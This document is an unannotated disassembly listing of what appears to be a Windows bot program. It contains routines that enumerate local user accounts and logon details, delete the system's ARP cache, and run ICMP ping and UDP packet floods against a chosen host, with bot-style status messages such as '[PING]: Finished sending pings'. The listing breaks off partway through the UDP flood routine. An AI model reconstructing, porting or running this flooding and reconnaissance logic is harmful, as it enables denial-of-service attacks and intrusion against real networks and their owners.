		push	ebx		; int
		call	sub_405E64
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+24h]
		lea	eax, [ebp+Dest]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_405E64
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+Dest]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_405E64
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+34h]
		lea	eax, [ebp+Dest]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_405E64
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+Dest]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_405E64
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+38h]
		lea	eax, [ebp+Dest]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_405E64
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+Dest]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_405E64
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+40h]
		lea	eax, [ebp+Dest]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_405E64
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+Dest]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	esi		; int
		push	eax		; int
		push	edi		; Str
		push	ebx		; int
		call	sub_405E64
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_407F64
; ---------------------------------------------------------------------------


loc_407F38:				; CODE XREF: sub_407BAB+35j
		push	eax
		lea	eax, [ebp+Dest]
		push	offset aNetUserInfoErr ; "[NET]: User info error: <%ld>"
		push	eax		; Dest
		call	_sprintf
		push	0		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_10]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_8]	; int
		call	sub_405E64
		add	esp, 20h


loc_407F64:				; CODE XREF: sub_407BAB+38Bj
		cmp	[ebp+var_4], 0
		jz	short loc_407F73
		push	[ebp+var_4]
		call	dword_42EC40


loc_407F73:				; CODE XREF: sub_407BAB+40j
					; sub_407BAB+3BDj
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_407BAB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_407F79(int,char *Str,int,int)

sub_407F79	proc near		; CODE XREF: sub_409557+1AA3p

Dest		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_4078E0
		push	esi		; int
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]	; int
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_405E64
		add	esp, 18h


loc_407FB8:				; CODE XREF: sub_407F79+135j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	dword_42EB28
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_408019
		cmp	eax, 0EAh
		jz	short loc_408019
		push	eax
		push	eax
		call	sub_4080F9
		pop	ecx
		push	eax
		lea	eax, [ebp+Dest]
		push	offset aNetUserListErr ; "[NET]: User list error: %s <%ld>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_405E64
		add	esp, 24h
		jmp	short loc_408094
; ---------------------------------------------------------------------------


loc_408019:				; CODE XREF: sub_407F79+62j
					; sub_407F79+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	loc_4080A7
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_408094


loc_40802B:				; CODE XREF: sub_407F79+EDj
		cmp	edi, esi
		jz	short loc_40806A
		push	dword ptr [edi]
		lea	eax, [ebp+Dest]
		push	offset aS_4	; "  %S"
		push	eax		; Dest
		call	_sprintf
		push	1		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_405E64
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_40802B
		jmp	short loc_408094
; ---------------------------------------------------------------------------


loc_40806A:				; CODE XREF: sub_407F79+B4j
		lea	eax, [ebp+Dest]
		push	offset aNetAnAccessVio ; "[NET]: An access violation has occured."...
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_405E64
		add	esp, 1Ch


loc_408094:				; CODE XREF: sub_407F79+9Ej
					; sub_407F79+B0j ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_4080A7
		push	edi
		call	dword_42EC40
		xor	edi, edi
		mov	[ebp+var_4], edi


loc_4080A7:				; CODE XREF: sub_407F79+A5j
					; sub_407F79+120j
		cmp	[ebp+var_C], 0EAh
		jz	loc_407FB8
		cmp	edi, esi
		jz	short loc_4080BF
		push	edi
		call	dword_42EC40


loc_4080BF:				; CODE XREF: sub_407F79+13Dj
		push	[ebp+var_8]
		lea	eax, [ebp+Dest]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_405E64
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_407F79	endp


; =============== S U B	R O U T	I N E =======================================



sub_4080F9	proc near		; CODE XREF: sub_4077B6+41p
					; sub_407944+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_4081AB
		jz	loc_4081A4
		cmp	eax, 7Bh
		ja	short loc_408170
		jz	short loc_408166
		cmp	eax, 5
		jz	short loc_40815C
		cmp	eax, 8
		jz	short loc_408152
		cmp	eax, 32h
		jz	short loc_408148
		cmp	eax, 35h
		jz	short loc_40813E
		cmp	eax, 57h
		jnz	loc_4081FA
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_40821B
; ---------------------------------------------------------------------------


loc_40813E:				; CODE XREF: sub_4080F9+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_40821B
; ---------------------------------------------------------------------------


loc_408148:				; CODE XREF: sub_4080F9+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_40821B
; ---------------------------------------------------------------------------


loc_408152:				; CODE XREF: sub_4080F9+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_40821B
; ---------------------------------------------------------------------------


loc_40815C:				; CODE XREF: sub_4080F9+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_40821B
; ---------------------------------------------------------------------------


loc_408166:				; CODE XREF: sub_4080F9+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_40821B
; ---------------------------------------------------------------------------


loc_408170:				; CODE XREF: sub_4080F9+1Aj
		sub	eax, 7Ch
		jz	short loc_40819D
		sub	eax, 7C8h
		jz	short loc_408196
		dec	eax
		jz	short loc_40818C
		dec	eax
		jnz	short loc_4081FA
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_40821B
; ---------------------------------------------------------------------------


loc_40818C:				; CODE XREF: sub_4080F9+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_40821B
; ---------------------------------------------------------------------------


loc_408196:				; CODE XREF: sub_4080F9+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_40821B
; ---------------------------------------------------------------------------


loc_40819D:				; CODE XREF: sub_4080F9+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_40821B
; ---------------------------------------------------------------------------


loc_4081A4:				; CODE XREF: sub_4080F9+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_40821B
; ---------------------------------------------------------------------------


loc_4081AB:				; CODE XREF: sub_4080F9+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_4081E4
		jz	short loc_4081DD
		sub	eax, 8ADh
		jz	short loc_40820F
		dec	eax
		dec	eax
		jz	short loc_4081D6
		dec	eax
		jz	short loc_4081CF
		dec	eax
		dec	eax
		jnz	short loc_4081FA
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_40821B
; ---------------------------------------------------------------------------


loc_4081CF:				; CODE XREF: sub_4080F9+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_40821B
; ---------------------------------------------------------------------------


loc_4081D6:				; CODE XREF: sub_4080F9+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_40821B
; ---------------------------------------------------------------------------


loc_4081DD:				; CODE XREF: sub_4080F9+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_40821B
; ---------------------------------------------------------------------------


loc_4081E4:				; CODE XREF: sub_4080F9+B9j
		sub	eax, 8CAh
		jz	short loc_408216
		sub	eax, 17h
		jz	short loc_40820F
		sub	eax, 25h
		jz	short loc_408208
		sub	eax, 29h
		jz	short loc_408201


loc_4081FA:				; CODE XREF: sub_4080F9+35j
					; sub_4080F9+87j ...
		push	offset aAnUnknownError ; "An unknown error occurred."
		jmp	short loc_40821B
; ---------------------------------------------------------------------------


loc_408201:				; CODE XREF: sub_4080F9+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_40821B
; ---------------------------------------------------------------------------


loc_408208:				; CODE XREF: sub_4080F9+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_40821B
; ---------------------------------------------------------------------------


loc_40820F:				; CODE XREF: sub_4080F9+C2j
					; sub_4080F9+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_40821B
; ---------------------------------------------------------------------------


loc_408216:				; CODE XREF: sub_4080F9+F0j
		push	offset aNetworkConnect ; "Network connection not found."


loc_40821B:				; CODE XREF: sub_4080F9+40j
					; sub_4080F9+4Aj ...
		push	offset byte_42F144 ; Dest
		call	_sprintf
		pop	ecx
		mov	eax, offset byte_42F144
		pop	ecx
		retn
sub_4080F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40822D(char *Source)

sub_40822D	proc near		; CODE XREF: sub_409557+1AE8p

Dest		= word ptr -718h
var_318		= byte ptr -318h
var_108		= byte ptr -108h
Source		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h		; MaxCount
		push	[ebp+Source]	; Source
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_mbstowcs
		add	esp, 0Ch
		lea	eax, [ebp+Source]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		mov	[ebp+Source], esi
		call	ds:dword_41B0FC	; GetComputerNameA
		lea	eax, [ebp+var_108]
		push	esi		; MaxCount
		push	eax		; Source
		lea	eax, [ebp+var_318]
		push	eax		; Dest
		call	_mbstowcs
		lea	eax, [ebp+Dest]
		push	eax		; Str
		call	_wcslen
		add	esp, 10h
		shl	eax, 1
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		lea	eax, [ebp+var_318]
		push	0
		push	eax
		push	0
		call	dword_42EBC4
		test	eax, eax
		jnz	short loc_4082BD
		mov	esi, offset byte_42EF40
		push	offset aNetMessageSent ; "[NET]: Message sent successfully."
		push	esi		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		jmp	short loc_4082E6
; ---------------------------------------------------------------------------


loc_4082BD:				; CODE XREF: sub_40822D+7Aj
		lea	ecx, [ebp+Dest]
		push	ecx
		lea	ecx, [ebp+var_318]
		push	ecx
		push	eax
		call	sub_4080F9
		pop	ecx
		mov	esi, offset byte_42EF40
		push	eax
		push	offset aNetSServerSMes ; "[NET]: %s <Server: %S> <Message: %S>"
		push	esi		; Dest
		call	_sprintf
		add	esp, 14h


loc_4082E6:				; CODE XREF: sub_40822D+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40822D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4082EB	proc near		; CODE XREF: sub_4034C2+7p
					; sub_403EEB+83p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_42EBF0	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_408313
		push	[esp+arg_0]
		call	dword_42EC34	; gethostbyname
		test	eax, eax
		jnz	short loc_40830C
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_40830C:				; CODE XREF: sub_4082EB+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_408313:				; CODE XREF: sub_4082EB+Dj
		retn
sub_4082EB	endp


; =============== S U B	R O U T	I N E =======================================



sub_408314	proc near		; CODE XREF: sub_409277+D6p
		mov	ecx, dword_42EAEC
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_408322
		call	ecx	; DnsFlushResolverCache

locret_408322:				; CODE XREF: sub_408314+Aj
		retn
sub_408314	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408323	proc near		; CODE XREF: sub_409557:loc_40DF00p

Dest		= byte ptr -88h
Size		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ebx
		lea	eax, [ebp+Size]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+Size], edi
		mov	[ebp+var_4], ebx
		call	dword_42EC2C	; GetIpNetTable
		mov	ecx, eax
		sub	ecx, edi
		jz	loc_4083E9
		sub	ecx, 32h
		jz	loc_4083E2
		sub	ecx, 48h
		jz	short loc_408383
		sub	ecx, 6Eh
		jz	short loc_40837C


loc_408365:				; CODE XREF: sub_408323+8Bj
		push	eax
		lea	eax, [ebp+Dest]
		push	offset aFlushdnsErrorG ; "[FLUSHDNS]: Error getting ARP	cache: <%"...
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		jmp	short loc_4083C3
; ---------------------------------------------------------------------------


loc_40837C:				; CODE XREF: sub_408323+40j
		push	offset aFlushdnsArpCac ; "[FLUSHDNS]: ARP cache	is empty."
		jmp	short loc_4083B5
; ---------------------------------------------------------------------------


loc_408383:				; CODE XREF: sub_408323+3Bj
		push	[ebp+Size]	; Size
		call	_malloc
		push	[ebp+Size]	; Size
		mov	esi, eax
		push	edi		; Val
		push	esi		; Dst
		call	_memset
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_4083B0
		lea	eax, [ebp+Size]
		push	ebx
		push	eax
		push	esi
		call	dword_42EC2C	; GetIpNetTable
		cmp	eax, edi
		jz	short loc_4083E9
		jmp	short loc_408365
; ---------------------------------------------------------------------------


loc_4083B0:				; CODE XREF: sub_408323+79j
		push	offset aFlushdnsUnable ; "[FLUSHDNS]: Unable to	allocation ARP ca"...


loc_4083B5:				; CODE XREF: sub_408323+5Ej
					; sub_408323+C4j
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx


loc_4083C3:				; CODE XREF: sub_408323+57j
		lea	eax, [ebp+Dest]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_402D63
		pop	ecx


loc_4083D3:				; CODE XREF: sub_408323+C8j
					; sub_408323+DCj
		push	esi		; Memory
		call	_free
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4083E2:				; CODE XREF: sub_408323+32j
		push	offset aFlushdnsNotSup ; "[FLUSHDNS]: Not supported by this syste"...
		jmp	short loc_4083B5
; ---------------------------------------------------------------------------


loc_4083E9:				; CODE XREF: sub_408323+29j
					; sub_408323+89j
		cmp	[esi], edi
		jbe	short loc_4083D3
		lea	ebx, [esi+4]


loc_4083F0:				; CODE XREF: sub_408323+DAj
		push	ebx
		call	dword_42EC28	; DeleteIpNetEntry
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_4083F0
		jmp	short loc_4083D3
sub_408323	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408401	proc near		; CODE XREF: sub_40119B+1Fp
					; .text:0040180Dp ...

Dst		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax		; Size
		lea	eax, [ebp+Dst]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+Dst]
		push	eax
		push	[ebp+arg_0]
		call	dword_42EB5C	; getsockname
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset byte_42F7A8
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi		; Dest
		call	_sprintf
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_408401	endp


; =============== S U B	R O U T	I N E =======================================



sub_40845A	proc near		; CODE XREF: sub_40318B+24Cp
					; sub_40318B+292p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		cmp	esi, 1
		jle	short loc_408483
		mov	ecx, esi
		push	edi
		shr	ecx, 1
		mov	edx, ecx
		neg	edx
		lea	esi, [esi+edx*2]
		mov	edx, [esp+8+arg_0]


loc_408476:				; CODE XREF: sub_40845A+24j
		movzx	edi, word ptr [edx]
		add	eax, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_408476
		pop	edi
		jmp	short loc_408487
; ---------------------------------------------------------------------------


loc_408483:				; CODE XREF: sub_40845A+Aj
		mov	edx, [esp+4+arg_0]


loc_408487:				; CODE XREF: sub_40845A+27j
		test	esi, esi
		pop	esi
		jz	short loc_408491
		movzx	ecx, byte ptr [edx]
		add	eax, ecx


loc_408491:				; CODE XREF: sub_40845A+30j
		mov	ecx, eax
		and	eax, 0FFFFh
		shr	ecx, 10h
		add	ecx, eax
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_40845A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4084A7	proc near		; DATA XREF: sub_409557+26C0o

var_10320	= byte ptr -10320h
Dest		= byte ptr -344h
var_144		= dword	ptr -144h
Str		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
Dst		= byte ptr -20h
var_18		= dword	ptr -18h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10320h
		call	__alloca_probe
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_144]
		rep movsd
		push	1
		pop	edi
		mov	[eax+120h], edi
		call	dword_42EB48	; IcmpCreateFile
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_C0]
		push	eax
		call	dword_42EBF0	; inet_addr
		mov	esi, eax
		xor	ebx, ebx
		xor	eax, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_408502
		lea	eax, [ebp+var_C0]
		push	eax
		call	dword_42EC34	; gethostbyname
		cmp	eax, ebx
		jz	short loc_408508


loc_408502:				; CODE XREF: sub_4084A7+48j
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jnz	short loc_408565


loc_408508:				; CODE XREF: sub_4084A7+59j
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+Dest]
		push	offset aPingErrorSendi ; "[PING]: Error	sending	pings to %s."
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_28], ebx
		jnz	short loc_408548
		push	ebx		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_2C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_144]	; int
		call	sub_405E64
		add	esp, 14h


loc_408548:				; CODE XREF: sub_4084A7+7Fj
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_402D63
		push	[ebp+var_30]
		call	sub_411F56
		pop	ecx
		pop	ecx
		push	edi
		call	ds:dword_41B06C	; ExitThread


loc_408565:				; CODE XREF: sub_4084A7+5Fj
		cmp	eax, ebx
		jz	short loc_408575
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_4], eax
		jmp	short loc_408578
; ---------------------------------------------------------------------------


loc_408575:				; CODE XREF: sub_4084A7+C0j
		mov	[ebp+var_4], esi


loc_408578:				; CODE XREF: sub_4084A7+CCj
		push	1Ch		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		or	[ebp+var_18], 0FFFFFFFFh
		mov	eax, 0FFDCh
		add	esp, 0Ch
		cmp	[ebp+var_3C], eax
		jle	short loc_408598
		mov	[ebp+var_3C], eax


loc_408598:				; CODE XREF: sub_4084A7+ECj
		cmp	[ebp+var_38], edi
		jge	short loc_4085A0
		mov	[ebp+var_38], edi


loc_4085A0:				; CODE XREF: sub_4084A7+F4j
		xor	esi, esi
		cmp	[ebp+var_40], ebx
		jle	short loc_4085CD


loc_4085A7:				; CODE XREF: sub_4084A7+124j
		push	[ebp+var_38]
		lea	eax, [ebp+Dst]
		push	1Ch
		push	eax
		push	ebx
		lea	eax, [ebp+var_10320]
		push	[ebp+var_3C]
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	dword_42EAE8	; IcmpSendEcho
		inc	esi
		cmp	esi, [ebp+var_40]
		jl	short loc_4085A7


loc_4085CD:				; CODE XREF: sub_4084A7+FEj
		push	[ebp+arg_0]
		call	dword_42EC68	; IcmpCloseHandle
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+Dest]
		push	offset aPingFinishedSe ; "[PING]: Finished sending pings to %s."
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_28], ebx
		jnz	short loc_408616
		push	ebx		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_2C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_144]	; int
		call	sub_405E64
		add	esp, 14h


loc_408616:				; CODE XREF: sub_4084A7+14Dj
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_402D63
		push	[ebp+var_30]
		call	sub_411F56
		pop	ecx
		pop	ecx
		push	ebx
		call	ds:dword_41B06C	; ExitThread
sub_4084A7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408633	proc near		; DATA XREF: sub_409557+2807o

var_10311	= byte ptr -10311h
var_10310	= byte ptr -10310h
Dest		= byte ptr -334h
var_134		= dword	ptr -134h
Str		= byte ptr -130h
var_B0		= byte ptr -0B0h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
Dst		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10310h
		call	__alloca_probe
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_134]
		rep movsd
		push	1
		pop	esi
		mov	[eax+120h], esi
		call	ds:dword_41B078	; GetTickCount
		push	eax
		call	sub_41274C
		pop	ecx
		push	11h
		push	2
		push	2
		call	dword_42EC30	; socket
		mov	ebx, eax
		xor	edi, edi
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	edi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+var_B0]
		mov	[ebp+Dst], 2
		push	eax
		call	dword_42EBF0	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jnz	short loc_408718
		lea	eax, [ebp+var_B0]
		push	eax
		call	dword_42EC34	; gethostbyname
		cmp	eax, edi
		jnz	short loc_408711
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+Dest]
		push	offset aUdpErrorSendin ; "[UDP]: Error sending pings to	%s."
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_18], edi
		jnz	short loc_4086F4
		push	edi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_1C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_134]	; int
		call	sub_405E64
		add	esp, 14h


loc_4086F4:				; CODE XREF: sub_408633+9Fj
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_402D63
		push	[ebp+var_20]
		call	sub_411F56
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_41B06C	; ExitThread


loc_408711:				; CODE XREF: sub_408633+7Fj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		jmp	short loc_40871B
; ---------------------------------------------------------------------------


loc_408718:				; CODE XREF: sub_408633+6Ej
		lea	eax, [ebp+arg_0]


loc_40871B:				; CODE XREF: sub_408633+E3j
		mov	eax, [eax]
		cmp	[ebp+var_24], edi
		mov	[ebp+var_C], eax
		jnz	short loc_408736
		call	_rand
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		jmp	short loc_408739
; ---------------------------------------------------------------------------


loc_408736:				; CODE XREF: sub_408633+F0j
		push	[ebp+var_24]


loc_408739:				; CODE XREF: sub_408633+101j
		call	dword_42EBB4	; htons
		cmp	[ebp+var_24], esi
		mov	[ebp+var_E], ax
		jge	short loc_40874B
		mov	[ebp+var_24], esi


loc_40874B:				; CODE XREF: sub_408633+113j
		mov	eax, 0FFFFh
		cmp	[ebp+var_24], eax
		jle	short loc_408758
		mov	[ebp+var_24], eax


loc_408758:				; CODE XREF: sub_408633+120j
		mov	eax, [ebp+var_30]
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		cmp	[ebp+var_28], edi
		mov	[ebp+var_30], eax
		jnz	short loc_40876C
		mov	[ebp+var_28], esi


loc_40876C:				; CODE XREF: sub_408633+134j
		xor	esi, esi
		cmp	[ebp+var_2C], edi
		jle	short loc_40878D


loc_408773:				; CODE XREF: sub_408633+158j
		call	_rand
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		inc	esi
		cmp	esi, [ebp+var_2C]
		mov	[ebp+esi+var_10311], dl
		jl	short loc_408773


